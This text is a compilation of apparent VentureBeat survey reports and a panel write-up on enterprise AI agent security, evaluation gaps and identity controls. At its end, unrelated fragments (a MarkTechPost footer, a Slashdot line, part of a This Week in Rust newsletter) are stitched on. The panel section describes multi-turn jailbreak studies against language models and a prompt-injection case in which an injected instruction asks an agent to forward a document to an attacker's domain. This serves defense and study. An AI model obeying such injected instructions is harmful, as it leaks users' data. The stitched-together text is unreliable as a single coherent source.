Agents answer confidently from data nobody governs. Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. (Full findings: Context Layers / RAG report.)

No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.

About this research

VentureBeat Research fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability & Evals (157), Agentic Security & Identity (107), AI Infrastructure & Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and VB Transform, the conference where these reports debuted.

VentureBeat's June 2026 Pulse survey of 107 enterprise respondents explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at 82% of companies surveyed. The world's largest security vendors have done the same math.

Palo Alto Networks closed its $25 billion acquisition of CyberArk in February, CrowdStrike agreed in January to pay $740 million for SGNL, and Cisco announced its intent to acquire Astrix Security for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.

Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.

Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its LLM Security Leaderboard, she told the audience.

"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.

Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."

Her starting point for CISOs beginning agentic deployments is Cisco's Integrated AI Security and Safety Framework, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.

Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."

Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."

Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science.

Three layers versus an operating system

Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."

She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."

Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.

Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.

The end of human code review

Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."

Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."

Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.

"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.

Intent versus probability

An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.

That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.

Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.

For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.

This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.

The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.

What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability & Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.

By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).

At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.

Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.

Finding 1: A passing eval is not a working agent

Half have shipped an agent that passed evals, then failed a customer

We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.

This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.

Finding 2: Almost no one fully trusts automated evaluation

The top complaint: Evals don't match real-world outcomes

We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.

Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.

Finding 3: The autonomy ceiling is rising anyway

Two-thirds already allow, or are building toward, zero-human deployment

We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.

Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.

Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. 

Finding 4: The evaluation stack is fragmented and provider-led

Provider-native evals lead — tied with no dedicated tool at all

We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.

The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.

Finding 5: Production monitoring rarely watches output quality

Only a quarter run real-time quality checks on live traffic

Production monitoring for an AI agent can watch two very different things. It can watch whether the system is functioning — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is correct — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.

Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.

Finding 6: Bought on cost, measured on consistency

Price and integration drive selection; evaluation consistency is the goal

We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.

Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.

Finding 7: The next dollar goes to humans and observability

Investment is flowing to oversight, not just automation

We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.

The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing.

Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.

Finding 8: A tooling reshuffle is coming

Nearly two-thirds plan to adopt or switch platforms within a year

We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.

The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint.

Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.

The bottom line: An evaluation gap that autonomy will widen, not close

Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.

The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.

Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.

This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.

The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.

What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).

At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.

Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.

Finding 1: The incidents are already here

More than half have had an agent security incident or near-miss

We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.

This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.

Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.

Finding 2: The identity gap

Only a third give every agent its own scoped identity

We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.

Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.)

The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.

Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.

Finding 3: Observe and enforce, but rarely isolate

Only three in 10 sandbox their highest-risk agents

We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.

Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.

Finding 4: Security runs on borrowed, provider-native controls

Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register

We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.

Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.

The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.

(A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)

Finding 5: And enterprises are comfortable with it

Satisfaction is high, even as incidents mount and identity lags

We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.

Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.

Finding 6: Budgets haven’t caught up

Most spend under a tenth of the security budget on agents

We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.

Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.

Finding 7: The arms race is even, at best

Only a third think their AI defenses are ahead of AI-enabled attackers

We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.

Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.

Finding 8: A security reshuffle is coming

Nearly six in 10 plan to adopt or switch tooling within a year

We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.

The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle.

Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.

The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. 

What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.

The bottom line: A security gap that autonomy will test first

Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.

The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.

Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.

The post Best Open Speech Recognition (ASR) Models in 2026: WER, Languages, Latency, and License Compared appeared first on MarkTechPost.

Read more of this story at Slashdot.

This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

Want TWIR in your inbox? Subscribe here.

Updates from Rust Community

Official

• Announcing Rust 1.97.1

Newsletters

• The Embedded Rustacean Issue #76

Project/Tooling Updates

• Announcing Topcoat: a framework for building full-stack reactive web apps with Rust
• Syn 3.0.0
• What’s New in RustRover 2026.2
• kobe 0.35.0: readiness gates and cert recycling
• Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3
• Nova v0.2.1: computer-use MCP server
• winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs
• crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)
• ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search
• OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)
• Freya 0.4
• buildline: merging cargo and ninja's build profiling into one timeline
• cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine
• flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone
• hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn
• kache 0.11.0: broader compiler coverage and libc-aware keys
